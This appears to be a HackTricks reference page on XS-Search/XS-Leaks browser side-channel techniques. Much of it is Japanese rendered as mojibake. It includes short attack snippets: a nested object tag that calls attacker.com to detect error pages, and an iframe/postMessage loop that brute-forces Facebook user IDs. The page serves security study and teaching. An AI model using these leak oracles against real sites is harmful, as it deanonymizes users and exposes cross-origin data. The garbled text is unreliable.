XS-Search/XS-Leaks
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æ å ±
XS-Search ã¯ããµã€ããã£ãã«è匱æ§ãå©çšããŠã¯ãã¹ãªãªãžã³æ å ±ãæœåºããããã®ææ³ã§ãã
ãã®æ»æã«é¢ããäž»èŠãªèŠçŽ ã¯æ¬¡ã®ãšããã§ãïŒ
- Vulnerable Web: æ å ±ãæœåºããããšãã察象ã®ãŠã§ããµã€ãã
- Attackerâs Web: 被害è ã蚪ããæ»æè åŽã§äœæããæªæãããŠã§ããµã€ãïŒãšã¯ã¹ããã€ãããã¹ãããïŒã
- Inclusion Method: Vulnerable Web ã Attackerâs Web ã«çµã¿èŸŒãããã«çšããææ³ïŒäŸ: window.open, iframe, fetch, HTML tag with href ãªã©ïŒã
- Leak Technique: Inclusion Method ãéããŠåŸãããæ å ±ã«åºã¥ããVulnerable Web ã®ç¶æ ã®éããèå¥ããæè¡ã
- States: æ»æè ãåºå¥ããããšãã Vulnerable Web ã®äºã€ã®å¯èœãªç¶æ ã
- Detectable Differences: æ»æè ã Vulnerable Web ã®ç¶æ ãæšæž¬ããããã«é Œã芳枬å¯èœãªå·®ç°ã
æ€åºå¯èœãªå·®ç°
Vulnerable Web ã®ç¶æ ãåºå¥ããããã«åæã§ããç¹ã¯è€æ°ãããŸãïŒ
- Status Code: ã¯ãã¹ãªãªãžã³ã§ã® ããŸããŸãª HTTP ã¬ã¹ãã³ã¹ã¹ããŒã¿ã¹ã³ãŒãïŒãµãŒããŒãšã©ãŒãã¯ã©ã€ã¢ã³ããšã©ãŒãèªèšŒãšã©ãŒãªã©ïŒãåºå¥ããããšã
- API Usage: ããŒãžéã§ã® ç¹å®ã® JavaScript Web API ã®äœ¿çšæç¡ãèå¥ããã¯ãã¹ãªãªãžã³ããŒãžãç¹å®ã® Web API ã䜿çšããŠãããã©ãããæããã«ããããšã
- Redirects: JavaScript ã HTML ã«ãã£ãŠåŒãèµ·ãããããã®ãå«ããå¥ããŒãžãžã®é·ç§»ãæ€åºããããšã
- Page Content: HTTP ã¬ã¹ãã³ã¹ããã£ãããŒãžã®ãµããªãœãŒã¹ïŒåã蟌ãŸãããã¬ãŒã ã®æ°ãç»åãµã€ãºã®å·®ãªã©ïŒã®å·®ç°ã芳å¯ããããšã
- HTTP Header: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy ãšãã£ã ç¹å®ã® HTTP ã¬ã¹ãã³ã¹ãããã®ååšãå€ã確èªããããšã
- Timing: äºã€ã®ç¶æ éã§äžè²«ããæéå·®ãããããšãæ€åºããããšã
Inclusion Methods
- HTML Elements: stylesheetsãimagesãscripts ã®ãã㪠ã¯ãã¹ãªãªãžã³ãªãœãŒã¹ã®åã蟌ã¿ã«äœ¿ããããŸããŸãª HTML èŠçŽ ãããããã©ãŠã¶ã«é HTML ãªãœãŒã¹ã®ãªã¯ãšã¹ãã匷å¶ããŸããå©çšå¯èœãª HTML èŠçŽ ã®äžèŠ§ã¯ https://github.com/cure53/HTTPLeaks ãåç §ããŠãã ããã
- Frames: iframeãobjectãembed ã®ãããªèŠçŽ ã¯ HTML ãªãœãŒã¹ãæ»æè ã®ããŒãžã«çŽæ¥åã蟌ãããšãã§ããŸããããŒãžã framing protection ãæããªã å ŽåãcontentWindow ããããã£ãéããŠãã¬ãŒã åããããªãœãŒã¹ã® window ãªããžã§ã¯ãã« JavaScript ããã¢ã¯ã»ã¹ã§ããããšããããŸãã
- Pop-ups:
window.openã¯ãªãœãŒã¹ãæ°ããã¿ãããŠã£ã³ããŠã§éããSOP ã«åŸã£ãã¡ãœãããããããã£ãšå¯Ÿè©±ããããã® ãŠã£ã³ããŠãã³ãã« ã JavaScript ã«æäŸããŸãããããã¢ããã¯ã·ã³ã°ã«ãµã€ã³ãªã³ã§ãã䜿ããã察象ãªãœãŒã¹ã®ãã¬ãŒãã³ã°ãã¯ãããŒå¶éãåé¿ããŸãããã ããã¢ãã³ãã©ãŠã¶ã¯ãããã¢ããã®äœæãç¹å®ã®ãŠãŒã¶ãŒæäœã«å¶éããŠããŸãã - JavaScript Requests: JavaScript 㯠XMLHttpRequests ã Fetch API ã䜿ã£ãŠã¿ãŒã²ãããªãœãŒã¹ãžçŽæ¥ãªã¯ãšã¹ããéãããšãèš±ããŸãããããã®æ¹æ³ã¯ãHTTP ãªãã€ã¬ã¯ãããã©ããŒãããã©ãããªã©ããªã¯ãšã¹ãã现ããå¶åŸ¡ã§ããŸãã
Leak Techniques
- Event Handler: XS-Leaks ã®å€å žçãªææ³ã§ãonload ã onerror ã®ãããªã€ãã³ããã³ãã©ãããªãœãŒã¹ã®èªã¿èŸŒã¿æå/倱æã«é¢ããæ å ±ãåŸãŸãã
- Error Messages: JavaScript ã®äŸå€ãç¹å¥ãªãšã©ãŒããŒãžã¯ããšã©ãŒã¡ãã»ãŒãžèªäœããã®æç¡ã®å·®ç°ãã leak æ å ±ãæäŸããããšããããŸãã
- Global Limits: ãã©ãŠã¶ã®ã¡ã¢ãªå®¹éããã®ä»ã®åŒ·å¶ãããå¶éã®ãããªç©ççå¶éã¯ãéŸå€å°éã瀺ã㊠leak æè¡ãšããŠå©çšããåŸãŸãã
- Global State: History ã€ã³ã¿ãŒãã§ã€ã¹ã®ãããªãã©ãŠã¶ã® ã°ããŒãã«ç¶æ ãšæ€åºå¯èœã«çžäºäœçšããããšã§æªçšã§ããŸããäŸãã°ãã©ãŠã¶ã®å±¥æŽã®ãšã³ããªæ°ã¯ã¯ãã¹ãªãªãžã³ããŒãžã«ã€ããŠã®æããããäžããããšããããŸãã
- Performance API: ãã® API ã¯ããã¥ã¡ã³ããèªã¿èŸŒãŸãããªãœãŒã¹ã®ãããã¯ãŒã¯ã¿ã€ãã³ã°ãå«ã çŸåšã®ããŒãžã®ããã©ãŒãã³ã¹è©³çް ãæäŸããèŠæ±ããããªãœãŒã¹ã«ã€ããŠæšæž¬ããããšãå¯èœã«ããŸãã
- Readable Attributes: äžéšã® HTML 屿§ã¯ ã¯ãã¹ãªãªãžã³ã§èªã¿åãå¯èœ ã§ãããleak æè¡ãšããŠäœ¿ããŸããäŸãã°
window.frame.lengthããããã£ã¯ã¯ãã¹ãªãªãžã³ã§ããŒãžã«å«ãŸãããã¬ãŒã ã®æ°ãã«ãŠã³ãããããšãå¯èœã«ããŸãã
XSinator Tool & Paper
XSinator ã¯è«æã§èª¬æãããŠããè€æ°ã®æ¢ç¥ã® XS-Leaks ã ãã©ãŠã¶ã«å¯ŸããŠèªåã§ãã§ãã¯ãã ããŒã«ã§ã: https://xsinator.com/paper.pdf
ããŒã«ã¯ https://xsinator.com/ ã§å©çšã§ããŸãã
Warning
Excluded XS-Leaks: XSinator ã§ã¯ãä»ã® leak ã«å¹²æžãããã service workers ã«äŸåãã XS-Leaks ãé€å€ããŸãããããã«ãç¹å®ã®ãŠã§ãã¢ããªã±ãŒã·ã§ã³ã®ãã¹ã³ã³ãã£ã®ã¥ã¬ãŒã·ã§ã³ããã°ã«äŸåãã XS-LeaksïŒäŸ: CrossOrigin Resource Sharing (CORS) misconfigurationsãpostMessage leakageãCross-Site ScriptingïŒã¯é€å€ããããšã«ããŸãããå ããŠãé ãããã€ãºãå€ããç²ŸåºŠã«æ¬ ããããšãå€ãæéããŒã¹ã® XS-Leaks ãé€å€ããŠããŸãã
æéããŒã¹ã® techniques
以äžã®ããã€ãã®æè¡ã¯ããŠã§ãããŒãžã®å¯èœãªç¶æ ã®å·®ç°ãæ€åºããããã»ã¹ã®äžéšãšããŠæéèšæž¬ã䜿çšããŸãããã©ãŠã¶ã§æéãæž¬å®ããæ¹æ³ã¯ããã€ããããŸãã
Clocks: performance.now() API ã¯é«è§£å床ã®ã¿ã€ãã³ã°æž¬å®ãæäŸããŸãã
æ»æè
ãæé»ã®ã¯ããã¯ãäœãããã«æªçšã§ãã API ã¯å€ããããŸã: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeoutãCSS ã¢ãã¡ãŒã·ã§ã³ãªã©ã
詳现ã¯: https://xsleaks.dev/docs/attacks/timing-attacks/clocks ãåç
§ããŠãã ããã
Event Handler Techniques
Onload/Onerror
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Summary: ãªãœãŒã¹ãèªã¿èŸŒãããšãããš onerror/onload ã€ãã³ãããªãœãŒã¹ã®èªã¿èŸŒã¿å€±æ/æåã«å¿ããŠçºç«ãããããã¹ããŒã¿ã¹ã³ãŒããæšæž¬ã§ããå¯èœæ§ããããŸãã
- Code example: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
ã³ãŒãäŸã¯ JS ãã scripts objects ãããŒãããããšããŠããŸãããother tagsïŒobjectsãstylesheetsãimagesãaudios ãªã©ïŒãå©çšå¯èœã§ããããã«ãã¿ã°ãçŽæ¥æ¿å
¥ããŠãonload ãš onerror ã€ãã³ããã¿ã°å
ã§å®£èšããããšãå¯èœã§ãïŒJS ããæ³šå
¥ãã代ããã«ïŒã
There is also a script-less version of this attack:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
ãã®å Žåãexample.com/404 ãèŠã€ãããªããš attacker.com/?error ãèªã¿èŸŒãŸããŸãã
Content-Type/CORB script load oracle
- çµã¿èŸŒã¿æ¹æ³: HTML Elements (script)
- æ€åºã§ããéã: Header / Content-Type via onload vs onerror (CORB)
- æŠèŠ: ãšã³ããã€ã³ããäžèŽæã« HTML ãè¿ããäžäžèŽæã« JSON ãè¿ãå Žåã
<script src>ã§èªã¿èŸŒãã§ãã ãããHTML ã¯onloadãããªã¬ãŒããJSON 㯠CORB ã«ãããããã¯ããonerrorãçºçãããŸããããã«ãããæ¢ç¥ã®ã¹ã³ãŒãå ã§__userã®ãããªèå¥åãç·åœããããããã® Boolean oracle ãåŸãããŸãã - ã¡ã¢: ããã£ãèªã¿åããã« cross-origin ã§åäœããŸãïŒããã³ãIDãåºå®ãããŠããå Žåã«ã¢ã¯ãã£ããªã¢ã«ãŠã³ããåæããã®ã«äŸ¿å©ã§ãã
postMessage vs X-Frame-Options deny oracle
- çµã¿èŸŒã¿æ¹æ³: Frames
- æ€åºã§ããéã: Header (XFO) + postMessage ã®æç¡
- æŠèŠ: äžéšã®ãŠã£ãžã§ããã¯èªã¿èŸŒã¿åŸã«èŠªã« postMessage ãéããŸãããªã¯ãšã¹ãã誀ã£ãèå¥åã§ãã¬ãŒã åããããšããµãŒãã¯
X-Frame-Options: denyãè¿ããŠã¬ã³ããªã³ã°ãé²ãããã®çµæã¡ãã»ãŒãžãéåºãããŸãããiframe ã®srcãåè£IDã«èšå®ããmessageã€ãã³ããåŸ ã¡ïŒæåïŒãã¿ã€ã ã¢ãŠãïŒã¡ãã»ãŒãžç¡ããå€±ææ±ãã«ããããšã§ãã¢ã¯ãã£ããªã¢ã«ãŠã³ããç·åœããã§ããŸãã - æå°ã¹ãããã:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>
- Related: PostMessage Vulnerabilities
詳现㯠message/iframe ã®èœãšã穎ãåç §ããŠãã ããã
Onload Timing
- Inclusion Methods: HTML Elements
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Summary: The performance.now() API ã䜿ã£ãŠããªã¯ãšã¹ãã«èŠããæéãèšæž¬ã§ããŸãããã®ä»ã®ã¯ããã¯ãå©çšå¯èœã§ãããšãã° PerformanceLongTaskTiming API 㯠50ms ãè¶ ããã¿ã¹ã¯ãæ€åºã§ããŸãã
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events ä»ã®äŸã¯ä»¥äžåç §:
Onload Timing + Forced Heavy Task
ãã®ãã¯ããã¯ã¯åè¿°ã®ãã®ãšåæ§ã§ãããattacker ã¯ãå¿çãè¯å®çãåŠå®çãã®ã±ãŒã¹ã§ãããåŠçãååãªæéãèŠããããã«äœããã®åäœã匷å¶ãããã®æéãèšæž¬ããŸãã
performance.now + Force heavy task
unload/beforeunload Timing
- Inclusion Methods: Frames
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Summary: The SharedArrayBuffer clock ã䜿ã£ãŠãªã¯ãšã¹ãã«èŠããæéãèšæž¬ã§ããŸããä»ã®ã¯ããã¯ãå©çšå¯èœã§ãã
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
ãªãœãŒã¹ã®ååŸã«èŠããæéã¯ãunload ãš beforeunload ã€ãã³ããå©çšããŠèšæž¬ã§ããŸããbeforeunload ã€ãã³ãã¯ãã©ãŠã¶ãæ°ããããŒãžãžé·ç§»ããããšããçŽåã«çºç«ããunload ã€ãã³ãã¯å®éã«é·ç§»ãè¡ãããéã«çºçããŸãããããäºã€ã®ã€ãã³ãéã®æéå·®ãèšç®ããããšã§ããã©ãŠã¶ããªãœãŒã¹ååŸã«è²»ããããæéããæ±ããããŸãã
Sandboxed Frame Timing + onload
- Inclusion Methods: Frames
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Summary: The performance.now() API ã䜿ã£ãŠãªã¯ãšã¹ãã«èŠããæéãèšæž¬ã§ããŸããä»ã®ã¯ããã¯ãå©çšå¯èœã§ãã
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Framing Protections ãååšããªãå ŽåãããŒãžããã³ãã®ãµããªãœãŒã¹ã®ãããã¯ãŒã¯èªã¿èŸŒã¿ã«èŠããæéã attacker ãèšæž¬ã§ããããšã芳枬ãããŠããŸããããã¯äžè¬ã«ãiframe ã® onload ãã³ãã©ããªãœãŒã¹ã®èªã¿èŸŒã¿ãš JavaScript ã®å®è¡å®äºåŸã«çºç«ããããã§ãã¹ã¯ãªããå®è¡ã«ããã°ãã€ããé¿ããããã«ãattacker 㯠<iframe> ã« sandbox 屿§ã䜿ãããšããããŸãããã®å±æ§ãä»äžãããšå€ãã®æ©èœïŒç¹ã« JavaScript å®è¡ïŒãå¶éããããããã¯ãŒã¯æ§èœãäž»ã«åœ±é¿ããèšæž¬ãå¯èœã«ãªããŸãã
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: æ£ããã³ã³ãã³ãã«ã¢ã¯ã»ã¹ãããšãã«ããŒãžããšã©ãŒã«ãªããä»»æã®ã³ã³ãã³ãã«ã¢ã¯ã»ã¹ãããšãã«æ£åžžã«èªã¿èŸŒãŸããããã«ã§ãããªããæéãæž¬å®ããã«ãã¹ãŠã®æ å ±ãæœåºããã«ãŒããäœæã§ããŸãã
- Code Example:
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains âflagâ using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event wonât be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.
Javascript Execution
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info:
- Summary: ããŒãžãã»ã³ã·ãã£ããªã³ã³ãã³ããè¿ããããŠãŒã¶ãå¶åŸ¡ã§ããã³ã³ãã³ããè¿ãå ŽåãåŠå®ã±ãŒã¹ã§ã¯æå¹ãªJSã³ãŒãã
<script>ã¿ã°å ã«å ¥ããŠå詊è¡ããšã«èªã¿èŸŒãŸããããšãã§ããŸããåŠå®ã±ãŒã¹ã§ã¯æ»æè ã®ã³ãŒããå®è¡ãããè¯å®ã±ãŒã¹ã§ã¯äœãå®è¡ãããŸããã - Code Example:
CORB - Onerror
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code & Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Summary: Cross-Origin Read Blocking (CORB) 㯠Spectre ã®ãããªæ»æããä¿è·ããããã«ç¹å®ã®ã¯ãã¹ãªãªãžã³ã®ææãªãªãœãŒã¹ã®èªã¿èŸŒã¿ãé²ãã»ãã¥ãªãã£å¯Ÿçã§ãããã ããæ»æè
ã¯ãã®ä¿è·æåãæªçšã§ããŸããCORBã®å¯Ÿè±¡ãšãªãã¬ã¹ãã³ã¹ã
nosniffãšãšãã« CORB ä¿è·ãããContent-Typeãè¿ãããã€2xxã¹ããŒã¿ã¹ã³ãŒãã®å ŽåãCORBã¯ã¬ã¹ãã³ã¹ã®ããã£ãšäžéšããããåé€ããŸããããã芳å¯ããããšã§ãæå/ãšã©ãŒã瀺ã status code ãš CORB ã«ããä¿è·æç¡ã瀺ãContent-Typeã®çµã¿åãããæšæž¬ã§ããæ å ±æŒããã«ã€ãªããå¯èœæ§ããããŸãã - Code Example:
Check the more information link for more information about the attack.
onblur
- Inclusion Methods: Frames
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Summary: id ã name 屿§ããã»ã³ã·ãã£ããªããŒã¿ãååŸããææ³ã
- Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
iframeå
ã«ããŒãžãèªã¿èŸŒã¿ã#id_value ã䜿ã£ãŠãã® iframe å
ã®èŠçŽ ã«ãã©ãŒã«ã¹ãããonblur ã·ã°ãã«ãçºçããã°ãã® ID èŠçŽ ãååšããããšãå€å®ã§ããŸãã
åãæ»æã¯ portal ã¿ã°ã§ãå®è¡å¯èœã§ãã
postMessage Broadcasts
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Summary: postMessage ããã»ã³ã·ãã£ããªæ å ±ãåéããããpostMessages ã®æç¡ããªã©ã¯ã«ãšããŠããŒãžå ã®ãŠãŒã¶ç¶æ ãç¥ãææ³ã
- Code Example:
Any code listening for all postMessages.
ã¢ããªã±ãŒã·ã§ã³ã¯ãã°ãã° postMessage ãããŒããã£ã¹ãã䜿ã£ãŠç°ãªããªãªãžã³éã§éä¿¡ããŸããããããtargetOrigin ãã©ã¡ãŒã¿ãé©åã«æå®ãããŠããªããšãä»»æã®ãŠã£ã³ããŠãã¡ãã»ãŒãžãåãåããããã»ã³ã·ãã£ããªæ
å ±ãé²åºããããšããããŸããããã«ãåã«ã¡ãã»ãŒãžãåä¿¡ããããšèªäœããªã©ã¯ã«ã«ãªãåŸãŸããäŸãã°ãç¹å®ã®ã¡ãã»ãŒãžã¯ãã°ã€ã³ããŠãããŠãŒã¶ã«ã®ã¿éãããããšãããããã®æç¡ã§èªèšŒç¶æ
ãªã©ãŠãŒã¶ã®ç¶æ
ãè奿
å ±ãæšæž¬ã§ããŸãã
Global Limits Techniques
WebSocket API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: WebSocket æ¥ç¶ã®æå€§æ°ãæ¯æžãããããšã§ãã¯ãã¹ãªãªãžã³ããŒãžã䜿çšããŠãã WebSocket æ¥ç¶æ°ãæŒæŽ©ãããææ³ã
- Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
ã¿ãŒã²ããããŒãžã䜿çšããŠãã WebSocket æ¥ç¶ã®æ°ãç¹å®ã§ããŸããããã«ããæ»æè ã¯ã¢ããªã±ãŒã·ã§ã³ã®ç¶æ ã WebSocket æ¥ç¶æ°ã«çŽã¥ãæ å ±ãæ€åºã§ããŸãã
ãããªãªãžã³ã WebSocket ãªããžã§ã¯ãã®æå€§æ°ã䜿çšããŠãããšïŒæ¥ç¶ç¶æ ã«é¢ä¿ãªãïŒãæ°ãããªããžã§ã¯ãã®äœæã¯ JavaScript äŸå€ãçºçãããŸãããã®æ»æã§ã¯ãæ»æè ãµã€ããã¿ãŒã²ãããµã€ãããããã¢ããã iframe ã§éããã¿ãŒã²ãããèªã¿èŸŒãŸããåŸã«å¯èœãªéãå€ãã® WebSocket ãäœæããããšããŸããæããããäŸå€ã®æ°ãã¿ãŒã²ãããŠã£ã³ããŠã§äœ¿çšãããŠãã WebSocket ã®æ°ã«ãªããŸãã
Payment API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: Payment Request ãæ€åºããææ³ãPayment Request ã¯åæã«äžã€ã ãæå¹ã§ããããæ€åºå¯èœã
- Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak
ãã® XS-Leak ã¯ã¯ãã¹ãªãªãžã³ããŒãžã Payment Request API ãéå§ããŠããããæ€åºã§ããŸãã
åæã«æå¹ãª Payment Request ã¯äžã€ã ããªã®ã§ãã¿ãŒã²ããã Payment Request API ã䜿ã£ãŠããå Žåãæ»æè ã宿çã« Payment API UI ã衚瀺ããããšãããšå€±æã㊠JavaScript äŸå€ãçºçããŸããæ»æè ã¯UIãäœæçŽåŸã«éããããšã§ãããã®å®æçãªè©Šè¡ãé ãããšãã§ããŸããäŸå€ãçºçãã詊è¡ãããã°ãã¿ãŒã²ããã¯çŸåšãã® API ã䜿çšäžã§ãããšå€æã§ããŸãã
Timing the Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Summary: ã·ã³ã°ã«ã¹ã¬ããã® JS event loop ãæªçšããŠå¥ãªãªãžã³ã®ã³ãŒãå®è¡æéãæž¬å®ããææ³ã
- Code Example:
Event Loop Blocking + Lazy images
JavaScript 㯠single-threaded event loop ã®äžŠè¡ã¢ãã«ã§åäœãããäžåºŠã«äžã€ã®ã¿ã¹ã¯ããå®è¡ã§ããªãããšããç¹åŸŽããããŸãããã®ç¹æ§ãå©çšããŠå¥ãªãªãžã³ã®ã³ãŒããã©ããããæéãæ¶è²»ããããæšæž¬ã§ããŸããæ»æè ã¯åºå®ããããã£ã®ã€ãã³ããé£ç¶ããŠçºç«ããèªèº«ã®ã³ãŒãã®å®è¡æéãæž¬å®ããŸãããããã®ã€ãã³ãã¯ã€ãã³ãããŒã«ã空ã«ãªã£ããšãã«åŠçãããŸããããä»ã®ãªãªãžã³ãåãããŒã«ã«ã€ãã³ããæå ¥ããŠããå Žåãæ»æè ã¯èªåã®ã¿ã¹ã¯å®è¡ã®é å»¶ã芳枬ããããšã§å€éšã®ã€ãã³ãåŠçã«èŠããæéãæšæž¬ã§ããŸããã€ãã³ãã«ãŒãã®é å»¶ãç£èŠããããšã§å¥ãªãªãžã³ã®ã³ãŒãå®è¡æéãã»ã³ã·ãã£ããªæ å ±ãé²åããå¯èœæ§ããããŸãã
Warning
å®è¡æéèšæž¬ã§ã¯ãããã¯ãŒã¯èŠå ãæé€ããŠããæ£ç¢ºãªæž¬å®ãè¡ãããšãå¯èœã§ããäŸãã°ãããŒãžã䜿çšãããªãœãŒã¹ãäºåã«èªã¿èŸŒãã§ãããªã©ã
Busy Event Loop
- Inclusion Methods:
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Summary: ã€ãã³ãã«ãŒããæå³çã«ãããã¯ãããã®åŸã€ãã³ãã«ãŒããåã³å©çšå¯èœã«ãªããŸã§ã®æéãæž¬ãæ¹æ³ãããã«ããããããã¯æéäžã«å®è¡ãããŠããã¿ã¹ã¯ã®æéãæšæž¬ã§ããã
- Code Example:
ã€ãã³ãã«ãŒããããã¯ããŠå®è¡æéãèšæž¬ããææ³ã®å€§ããªå©ç¹ã¯ãSite Isolation ãåé¿ã§ããå¯èœæ§ãããç¹ã§ããSite Isolation ã¯ç°ãªããµã€ããå¥ããã»ã¹ã«åé¢ããã»ãã¥ãªãã£æ©èœã§ãããå ±æãããã€ãã³ãã«ãŒãã®å®è¡ã¿ã€ãã³ã°ã«åœ±é¿ãäžããããšã§ãæ»æè ã¯ä»ãªãªãžã³ã®æŽ»åã«é¢ããæ å ±ã鿥çã«æœåºã§ããŸãããã®æ¹æ³ã¯ä»ãªãªãžã³ã®ããŒã¿ãžã®çŽæ¥ã¢ã¯ã»ã¹ã«äŸåãããSite Isolation ã®é²åŸ¡ãè¿åããããšããããŸãã
Warning
å®è¡æéèšæž¬ã§ã¯ãããã¯ãŒã¯èŠå ãæé€ããŠããæ£ç¢ºãªæž¬å®ãè¡ãããšãå¯èœã§ããäŸãã°ãããŒãžã䜿çšãããªãœãŒã¹ãäºåã«èªã¿èŸŒãã§ãããªã©ã
Connection Pool
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Summary: å šãœã±ããã®ãã¡1ã€ã ãã䜿ããããã«ããŠã¿ãŒã²ãããèªã¿èŸŒã¿ãåæã«å¥ããŒãžãèªã¿èŸŒãããšã§æåŸã®ããŒãžãèªã¿èŸŒã¿å§ãããŸã§ã®æéããã¿ãŒã²ããã®èªã¿èŸŒã¿æéãæšæž¬ããææ³ã
- Code Example:
ãã©ãŠã¶ã¯ãµãŒããŒéä¿¡ã«ãœã±ããã䜿ããŸãããOSãããŒããŠã§ã¢ã®å¶çŽã«ããåæãœã±ããæ°ã«å¶éãèšããŠããŸããæ»æè ã¯æ¬¡ã®æé ã§ãã®å¶éãæªçšã§ããŸãïŒ
- ãã©ãŠã¶ã®ãœã±ããäžéïŒäŸ: global 256ïŒãææ¡ããã
- 255 ãœã±ãããé·æéå æããããã«è€æ°ãã¹ããžãªã¯ãšã¹ããéããæ¥ç¶ãéãããŸãŸã«ããã
- 256 çªç®ã®ãœã±ããã䜿ã£ãŠã¿ãŒã²ããããŒãžãžãªã¯ãšã¹ããéãã
- ããã« 257 çªç®ã®ãªã¯ãšã¹ããå¥ãã¹ãã«éãããšãããå šãœã±ããã䜿çšäžã®ããããã®ãªã¯ãšã¹ãã¯ãœã±ããã空ããŸã§ãã¥ãŒã«å ¥ããããããã®é å»¶æéããã256 çªç®ïŒã¿ãŒã²ããããŒãžçšïŒãœã±ããã«é¢ãããããã¯ãŒã¯æŽ»åã®æéæ å ±ãåŸãããããªããªããæé 2ã®255ãœã±ããã¯äŸç¶ãšããŠå æãããŠãããæ°ãã«ç©ºããœã±ããã¯æé 3ã§äœ¿çšãããœã±ãããè§£æŸããããã®ã«éãããããã§ãããããã£ãŠã256 çªç®ã®ãœã±ãããå©çšå¯èœã«ãªããŸã§ã®æéã¯ã¿ãŒã²ããããŒãžã®ãªã¯ãšã¹ãå®äºã«çŽæ¥é¢é£ããŸãã
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info:
- Summary: åè¿°ã®ææ³ãšäŒŒãŠããŸãããGoogle Chrome ã¯åäžãªãªãžã³ãžã®åæãªã¯ãšã¹ãæ°ã 6 ã«å¶éããŠããŸãã5 åããããã¯ãã6 çªç®ã®ãªã¯ãšã¹ããçºè¡ããŠãã®æéãèšæž¬ããããšã§ã被害ããŒãžãåäžãšã³ããã€ã³ããžè¿œå ãªã¯ãšã¹ããéã£ãŠããããªã©ãæ€åºã§ããŸãã6 çªç®ã®ãªã¯ãšã¹ãã¯ããæéããããã¯ãã§ãã
Performance API Techniques
The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.
This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, itâs worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.
Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the pageâs framing policies.
Error Leak
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
